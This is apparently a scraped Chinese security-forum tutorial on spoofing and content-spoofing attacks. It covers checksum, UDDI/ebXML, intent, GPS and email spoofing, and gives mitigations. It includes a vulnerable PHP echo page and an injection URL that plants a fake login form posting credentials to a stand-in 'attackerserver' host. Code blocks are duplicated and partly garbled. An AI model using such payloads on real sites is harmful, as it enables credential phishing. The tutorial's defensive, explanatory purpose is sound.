-
-
[原创][攻击方法]欺骗攻击_内容欺骗
-
发表于: 2021-1-10 22:54 1388
-
知己知彼,方能百战百胜。 -《孙子兵法》
备注:根据自身知识面及相关理解会对内容进行不定时更新
更新日期:2021年2月7日
欢迎大家一起讨论与完善
何为校验和
何为校验和欺骗攻击
危害等级
中危
前提条件
资源需求
攻击者需有一个可以拦截和修改发送者和接收者之间消息的工具。
示例
利用成因
未采用一个好的验证方法,导致可被攻击者伪造。
前因后果
因无验证机制或错误地验证信息的完整性校验和,这将导致使软件无法检测数据是否在传输过程中被修改或损坏。
使用前对校验和进行不正确的验证会长生不必要的风险,但可以轻松地降低此风险。 规范用于计算校验码的算法,之后,只需执行计算并验证计算出的校验和与接收到的校验和是否匹配即可,但对计算出的校验码和收到的校验和的未进行一个有效的验证可能导致更大的危害。
被利用的可能性
中
示例
代码语言:C
代码语言:Java
缓解措施
在解析和使用消息之前,请确保已根据协议规范正确检查消息中的校验和。
何为UDDI/ebXML消息欺骗攻击
攻击者通过欺骗这些消息之一,可以在交易中冒充合法的企业,或者可以操纵客户机和企业之间使用的协议。这可能会导致敏感信息的泄露,信息完整性的丧失,甚至金融欺诈。
前提条件
目标企业的UDDI或ebXML信息必须从攻击者可以欺骗或入侵的位置提供,或者攻击者必须能够拦截和修改传输中的不安全的UDDI/ebXML消息。
危害等级
中危
缓解措施
客户端只应信任UDDI、ebXML或由受信任方核实签署的类似信息。
资源需求
攻击者必须能够迫使目标用户接受其欺骗的UDDI或ebXML消息,而不是与合法公司关联的消息。根据后续的攻击,攻击者可能还需要提供自己的Web服务。
前提条件
攻击者必须能够在Android设备上安装有针对性的恶意应用程序,并说服用户执行它,恶意应用程序将用于发布欺骗意图。
这些欺骗信号的结构可以使接收方估计其位置,使其位置与实际位置不同,或者由对手确定其位于不同时间。
攻击概率
低
在这一方面,欺骗攻击很大程度上依赖于社交工程,它能说服用户本人相信他们看到的内容是合法的,提示他们采取行动并打开附件、完成转账等等。
受攻击的可能性
高
通过这样做,客户可能会被迫转而使用竞争对手的产品。这可能会导致货币价值的损失,直到受害企业妥善进行整改。对于上市公司来说,其股价将一落千丈,导致数百万的损失不受控制。
其他例子:
修改页存在漏洞的目标/suggestions.php?stockid=123&stockrecommendation=Our+site+has+experienced+major+hacking+incident.Please+use+our+competitor+site+http://www.competitor.com+until+we+further+announced+for+update.
Plaintext: Place
10
orders.
Hash
: T0mUNdEQh13IO9oTcaP4FYDX6pU
=
Plaintext: Place
10
orders.
Hash
: T0mUNdEQh13IO9oTcaP4FYDX6pU
=
sd
=
socket(AF_INET, SOCK_DGRAM,
0
); serv.sin_family
=
AF_INET;
serv.sin_addr.s_addr
=
htonl(INADDR_ANY);
servr.sin_port
=
htons(
1008
);
bind(sd, (struct sockaddr
*
) & serv, sizeof(serv));
while
(
1
) {
memset(msg,
0x0
, MAX_MSG);
clilen
=
sizeof(cli);
if
(inet_ntoa(cli.sin_addr)
=
=
...) n
=
recvfrom(sd, msg, MAX_MSG,
0
, (struct sockaddr
*
) & cli, &clilen);
}
sd
=
socket(AF_INET, SOCK_DGRAM,
0
); serv.sin_family
=
AF_INET;
serv.sin_addr.s_addr
=
htonl(INADDR_ANY);
servr.sin_port
=
htons(
1008
);
bind(sd, (struct sockaddr
*
) & serv, sizeof(serv));
while
(
1
) {
memset(msg,
0x0
, MAX_MSG);
clilen
=
sizeof(cli);
if
(inet_ntoa(cli.sin_addr)
=
=
...) n
=
recvfrom(sd, msg, MAX_MSG,
0
, (struct sockaddr
*
) & cli, &clilen);
}
while
(true) {
DatagramPacket packet
=
new DatagramPacket(data,data.length,IPAddress, port);
socket.send(sendPacket);
}
while
(true) {
DatagramPacket packet
=
new DatagramPacket(data,data.length,IPAddress, port);
socket.send(sendPacket);
}
注意细节
全选到记事本查看,勿轻易点击邮件内容附带的URL
使用相关防护软件或设备
注意细节
全选到记事本查看,勿轻易点击邮件内容附带的URL
使用相关防护软件或设备
intitle:
"已泄露的攻击元素:如常见的电话、邮箱、qq等联系方式"
intitle:
"已泄露的攻击元素:如常见的电话、邮箱、qq等联系方式"
通过参数或直接在URL中输入的用户将反映在页面响应中
内容类型:文本
/
纯文本
应用程序给出默认错误页面 ,如:利用错误信息可自定义漏洞进行内容欺骗攻击行为
通过参数或直接在URL中输入的用户将反映在页面响应中
内容类型:文本
/
纯文本
应用程序给出默认错误页面 ,如:利用错误信息可自定义漏洞进行内容欺骗攻击行为
恶意竞争对手
心怀不满的员工
不满意的顾客
骗子
恶意竞争对手
心怀不满的员工
不满意的顾客
骗子
<?php
$name
=
$_REQUEST [
'name'
];
?>
<html>
<h1>Welcome to the Internet!<
/
h1>
<br>
<body>
Hello, <?php echo $name; ?>!
<p>We are so glad you are here!<
/
p>
<
/
body>
<
/
html>
<?php
$name
=
$_REQUEST [
'name'
];
?>
<html>
<h1>Welcome to the Internet!<
/
h1>
<br>
<body>
Hello, <?php echo $name; ?>!
<p>We are so glad you are here!<
/
p>
<
/
body>
<
/
html>
http:
/
/
127.0
.
0.1
/
vulnerable.php?name
=
<h3>Please Enter Your Username
and
Password to Proceed:<
/
h3><form method
=
"POST"
action
=
"http://attackerserver/login.php"
>Username: <
input
type
=
"text"
name
=
"username"
/
><br
/
>Password: <
input
type
=
"password"
name
=
"password"
/
><br
/
><
input
type
=
"submit"
value
=
"Login"
/
><
/
form><!
-
-
http:
/
/
127.0
.
0.1
/
vulnerable.php?name
=
<h3>Please Enter Your Username
and
Password to Proceed:<
/
h3><form method
=
"POST"
action
=
"http://attackerserver/login.php"
>Username: <
input
type
=
"text"
name
=
"username"
/
><br
/
>Password: <
input
type
=
"password"
name
=
"password"
/
><br
/
><
input
type
=
"submit"
value
=
"Login"
/
><
/
form><!
-
-
1.
攻击者发现一个网络应用程序,它向用户推荐他们是否应该买入或卖出某只股票。
2.
攻击者确定了一个脆弱的参数
3.
攻击者通过稍微修改有效的请求来制作一个恶意链接
4.
包含修改后的请求的链接被发送给用户,用户点击该链接。
5.
使用攻击者的恶意推荐创建了一个有效的网页,用户认为该推荐来自股票网站。
1.
攻击者发现一个网络应用程序,它向用户推荐他们是否应该买入或卖出某只股票。
2.
攻击者确定了一个脆弱的参数
3.
攻击者通过稍微修改有效的请求来制作一个恶意链接
4.
包含修改后的请求的链接被发送给用户,用户点击该链接。
5.
使用攻击者的恶意推荐创建了一个有效的网页,用户认为该推荐来自股票网站。
1
2
|
Plaintext: Place 10 orders.
Hash : T0mUNdEQh13IO9oTcaP4FYDX6pU =
|
1
2
3
4
5
6
7
8
9
10
|
sd = socket(AF_INET, SOCK_DGRAM, 0 ); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons( 1008 );
bind(sd, (struct sockaddr * ) & serv, sizeof(serv));
while ( 1 ) {
memset(msg, 0x0 , MAX_MSG);
clilen = sizeof(cli);
if (inet_ntoa(cli.sin_addr) = = ...) n = recvfrom(sd, msg, MAX_MSG, 0 , (struct sockaddr * ) & cli, &clilen);
} |
1
2
3
4
|
while (true) {
DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
socket.send(sendPacket); } |
1
2
3
|
注意细节 全选到记事本查看,勿轻易点击邮件内容附带的URL 使用相关防护软件或设备 |
1 |
intitle: "已泄露的攻击元素:如常见的电话、邮箱、qq等联系方式"
|
1
2
3
|
通过参数或直接在URL中输入的用户将反映在页面响应中 内容类型:文本 / 纯文本
应用程序给出默认错误页面 ,如:利用错误信息可自定义漏洞进行内容欺骗攻击行为 |
1
2
3
4
|
恶意竞争对手 心怀不满的员工 不满意的顾客 骗子 |
1
2
3
4
5
6
7
8
9
10
11
|
<?php $name = $_REQUEST [ 'name' ];
?> <html> <h1>Welcome to the Internet!< / h1>
<br>
<body>
Hello, <?php echo $name; ?>!
<p>We are so glad you are here!< / p>
< / body>
< / html>
|
1
2
3
|
http: / / 127.0 . 0.1 / vulnerable.php?name = <h3>Please Enter Your Username and Password to Proceed:< / h3><form method = "POST"
action = "http://attackerserver/login.php" >Username: < input type = "text" name = "username" / ><br / >Password: < input type = "password"
name = "password" / ><br / >< input type = "submit" value = "Login" / >< / form><! - -
|
1
2
3
4
5
|
1. 攻击者发现一个网络应用程序,它向用户推荐他们是否应该买入或卖出某只股票。
2. 攻击者确定了一个脆弱的参数
3. 攻击者通过稍微修改有效的请求来制作一个恶意链接
4. 包含修改后的请求的链接被发送给用户,用户点击该链接。
5. 使用攻击者的恶意推荐创建了一个有效的网页,用户认为该推荐来自股票网站。
|
- 简述
- 引申知识
- 何为欺骗攻击
- 何为内容欺骗攻击
- 校验和欺骗攻击
- 扩展知识
- UDDI/ebXML消息欺骗攻击
- 意图欺骗攻击
- GPS信号伪造攻击
- 电子邮件欺骗攻击
- 内容欺骗漏洞解析与寻找已发起的内容欺骗攻击
- 内容欺骗与跨站脚本的区别
- 参考资料
- 英文:Engage in Deceptive Interactions
- 欺骗就像犯罪本身一样古老,骗子们使用狡诈的方法来欺骗人们,以使自己获得非法利益。在现实世界中,这种行为长期以来一直是犯罪活动的主流,而现在已经深入到了虚拟世界。
- 欺骗攻击是描述一种行为类型的广义术语,是指网络罪犯试图伪装成可信任的用户或设备,从而欺骗您做一些对攻击者有利、对受害者不利的事情
- 此类别中的攻击模式着眼于与目标的恶意交互,试图欺骗目标,使目标相信它是在与其他委托人互动,从而根据目标与其他委托人之间存在的信任程度采取行动。
- 这些类型的攻击假设某些内容或功能与身份相关联,并且由于这种相关联,该内容/功能被目标信任。
- 这些类型的攻击通常以 "欺骗 "一词来识别,它们依赖于对内容和/或身份的伪造,从而使目标会错误地信任内容的合法性。
例如,攻击者可能修改双方之间的金融交易,使参与者保持不变,但交易金额增加。如果收件人无法检测到变化,他们可能会错误地认为修改后的消息来源于原始发送者。 - 这些类型的攻击可能涉及对手从头开始制作内容,或捕获和修改合法内容。
- 英文:Content Spoofing
- 攻击者修改内容以使其包含原始内容生产者想要的内容以外的内容,同时保持内容的外观来源不变。
- 内容欺骗一词最常用于描述由目标托管的网页的修改,以显示对手的内容而不是所有者的内容。 但是,可以欺骗任何内容,包括电子邮件消息,文件传输的内容或其他网络通信协议的内容。
- 内容可以在源处进行修改(例如,修改网页的源文件)或在传输过程中(例如,在发送方和接收方之间截取和修改消息)。
- 通常,对手会试图隐藏内容已被修改的事实,但是在某些情况下,例如网站被污损,这是不必要的。 内容欺骗可能导致恶意软件暴露,财务欺诈(如果内容控制财务交易),侵犯隐私和其他不良后果。
- 检验和(checksum),在数据处理和数据通信领域中,用于校验目的地一组数据项的和,它通常是以十六进制为数制表示的形式。
- 如果校验和的数值超过十六进制的FF,也就是255. 就要求其补码作为校验和。通常用来在通信中,尤其是远距离通信中保证数据的完整性和准确性。
- 这些数据项可以是数字或在计算检验的过程中看作数字的其它字符串。校验和(checksum)是指传输位数的累加,当传输结束时,接收者可以根据这个数值判断是否接到了所有的数据。如果数值匹配,那么说明传送已经完成。
- TCP和UDP传输层都提供了一个校验和与验证总数是否匹配的服务功能,其中TCP校验和是一个端到端的校验和,由发送端计算,然后由接收端验证。其目的是为了发现TCP首部和数据在发送端到接收端之间发生的任何改动。如果接收方检测到校验和有差错,则TCP段会被直接丢弃。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
赞赏
- [原创]物联网安全:基础篇 4124
- 威胁情报小课堂:阻止活跃勒索软件的感染 2177
- [翻译]发现利用 Facebook 和 MS 管理控制台实施的 Kimsuky APT 攻击 7061
- 威胁情报小课堂:LockBit Black 2053
- 威胁情报小课堂:Nitrogen 2079